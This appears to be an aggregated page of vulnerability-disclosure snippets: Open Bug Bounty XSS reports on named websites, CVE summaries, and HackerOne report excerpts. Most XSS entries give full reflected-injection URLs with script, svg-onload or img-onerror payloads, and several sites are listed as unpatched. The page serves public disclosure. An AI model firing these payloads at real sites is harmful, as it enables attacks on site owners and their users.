castironradiatorcentre.co.uk XSS vulnerability

Vulnerable URL: https://www.castironradiatorcentre.co.uk/products.asp?search=1%22%27--!%3E%3CScript%20/K/%3Econfirm%27OPENBUGBOUNTY%27%3C/Script%20/K/%3E=Accessories+%26+Spares=Wall+Stays=buy=CDC-LUXSTAY-BLKNI=1 Details: Description| Value ---|--- Patched:| Yes, at 25.11.2017 Latest check for...

napier.ac.uk XSS vulnerability

Vulnerable URL: http://www.napier.ac.uk/research-and-innovation/our-experts?q=Emmotional+intelligence=D6705B99CAD14C8F9D206EF0FB9B53ABScottish+Centre+for+the+Book|42F5C5EF5B9F4EC598399D49B4FD0ADAYes%22%3E%3Csvg/onload=prompt%28/OPENBUGBOUNTY/%29%3E Details: Description| Value ---|--- Patched:| No...

NCIIPC: It's Time to Step Forward And Protect Our Critical Infrastructures from Cyber Attacks

The IT threat landscape has changed dramatically over the last three-four years. With no shortage of threat actors, from hacktivists to nation-states, criminals to terrorists, all of them are now after something new. It's no more just about stealing your money, credit cards and defacing websites,...

hastingsvancentre.co.uk XSS vulnerability

Vulnerable URL: http://www.hastingsvancentre.co.uk/email.php?subject=%22%3E%3Csvg/onload=alert/XSSPOSED/%3E Details: Description| Value ---|--- Patched:| Yes, at 28.07.2017 Latest check for patch:| 28.07.2017 13:58 GMT Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank|...

CVE-2018-14670

Incorrect configuration in deb package could lead to the unauthorized use of the database. the UK’s National Cyber Security Centre NCSC...

liverpoolcarcentre.com XSS vulnerability

Vulnerable URL: http://www.liverpoolcarcentre.com/email.php?subject=%22%3E%3Csvg/onload=alert/XSSPOSED/%3E Details: Description| Value ---|--- Patched:| Yes, at 28.07.2017 Latest check for patch:| 28.07.2017 13:52 GMT Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank|...

ainsdalecarcentre.co.uk XSS vulnerability

Vulnerable URL: http://www.ainsdalecarcentre.co.uk/used-cars.php?make=HYUNDAI%27"--!' Details: Description| Value ---|--- Patched:| No Latest check for patch:| 28.07.2017 Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank| 22704530 VIP website status:| No Check...

centreleonberard.fr XSS vulnerability

Open Bug Bounty ID: OBB-189819 Description| Value ---|--- Affected Website:| centreleonberard.fr Open Bug Bounty Program:| Create your bounty program now. It's open and free. Vulnerable Application:| Custom Code Vulnerability Type:| XSS Cross Site Scripting / CWE-79 CVSSv3 Score:| 6.1...

albertajobcentre.ca XSS vulnerability

Vulnerable URL: https://www.albertajobcentre.ca/login Details: Description| Value ---|--- Patched:| Yes, at 24.11.2017 Latest check for patch:| 24.11.2017 18:51 GMT Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank| 1433825 VIP website status:| No Check...

maroochydorehomemakercentre.com.au XSS vulnerability

Vulnerable URL: http://maroochydorehomemakercentre.com.au/news-events.php?cat=special" Details: Description| Value ---|--- Patched:| No Latest check for patch:| 27.07.2017 Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank| 8816002 VIP website status:| No Check...

call-centre.cyta.com.cy XSS vulnerability

Vulnerable URL: http://www.call-centre.cyta.com.cy/quiz/gr/gamequiz.php?game=%22%3E%3Csvg/onload=prompt%28/OPENBUGBOUNTY/%29%3E Details: Description| Value ---|--- Patched:| Yes, at Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank| Unknown / Not calculated VIP website...

olympus.ch XSS vulnerability

Vulnerable URL: https://www.olympus.ch/corporate/de/presscentre/presscentreoverview.jsp?c==%22%3E%3Cimg%20src=x%20onerror=prompt%28/OPENBUGBOUNTY/%29%3E=13 Details: Description| Value ---|--- Patched:| No Latest check for patch:| 26.07.2017 Vulnerability type:| XSS Vulnerability status:| Publicly...

Dropbox: No Rate Limiting while sending the feedback under Dropbox Help Centre

The original report allows repeatedly giving "not helpful" as feedback for a help article. Observation:- It was observed that there is no rate limiting in placed for all the endpoint which looks like as below:- Vulnerable URL:- https://www.dropbox.com/helpajax/articles/274/feedback/unhelpful...

chemserv.centre.edu XSS vulnerability

Vulnerable URL: http://chemserv.centre.edu/listing3.php?cat=nmr%22/%3E%3Csvg/onload=alert%28%27XSSPOSED%27%29%3E Details: Description| Value ---|--- Patched:| No Latest check for patch:| 26.07.2017 Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank| Unknown / Not...

Dogma India dogmaindia CMS - Auth Bypass Vulnerability

Document Title: =============== Dogma India dogmaindia CMS - Auth Bypass Vulnerability References Source: ==================== http://www.vulnerability-lab.com/getcontent.php?id=1583 Release Date: ============= 2015-08-25 Vulnerability Laboratory ID VL-ID: ==================================== 158...

CVE-2014-7028

The Ibis pau centre aka com.myapphone.android.myappibispaucentre application 1.0 for Android does not verify X.509 certificates from SSL servers, which allows man-in-the-middle attackers to spoof servers and obtain sensitive information via a crafted certificate...

CVE-2014-7028

The CVE-2014-7028 entry concerns the Android app Ibis pau centre (com.myapphone.android.myappibispaucentre) version 1.0. The vulnerability is that the app does not verify X.509 certificates from SSL servers, allowing MITM attackers to spoof servers and obtain sensitive information. The NVD entry ...

CVE-2014-7028

The Ibis pau centre aka com.myapphone.android.myappibispaucentre application 1.0 for Android does not verify X.509 certificates from SSL servers, which allows man-in-the-middle attackers to spoof servers and obtain sensitive information via a crafted certificate...

HackerOne: Securing sensitive pages from SearchBots

I reported the issue earlier Report 3662 .But instead of asking more information,you just closed the bug.Well,you said you never seen google indexing authentication tokens. okCupid,is a client of hackerone.com.Let's see whats google doing with their tokens: Search with the following dork:...

CVE-2013-7001

The Multimedia Messaging Centre MMSC in NowSMS Now SMS & MMS Gateway before 2013.11.15 allows remote attackers to cause a denial of service via a malformed MM1 message that is routed to a 1 MM4 or 2 MM7 connection...